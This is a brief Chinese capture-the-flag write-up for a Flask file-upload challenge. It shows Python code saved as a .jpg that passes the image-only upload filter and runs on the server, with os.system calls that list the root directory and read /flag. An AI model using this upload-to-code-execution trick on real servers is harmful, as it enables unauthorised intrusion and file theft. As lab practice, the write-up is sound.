一、题目:

Flask_FileUpload_Flask

 

 二、查看网页源码:

获取上传文件仅:jpg、png,且说明上传python

Flask_FileUpload_Flask_02

 

 三、使用vim创建包含python代码的jpg文件

import os

os.system('ls /')

Flask_FileUpload_Flask_03

 

上传成功,存在远程执行漏洞 

Flask_FileUpload_Flask_04

 

 查看flag

import os

os.system('cat /flag')

Flask_FileUpload_Flask_05

 

 Flask_FileUpload_Flask_06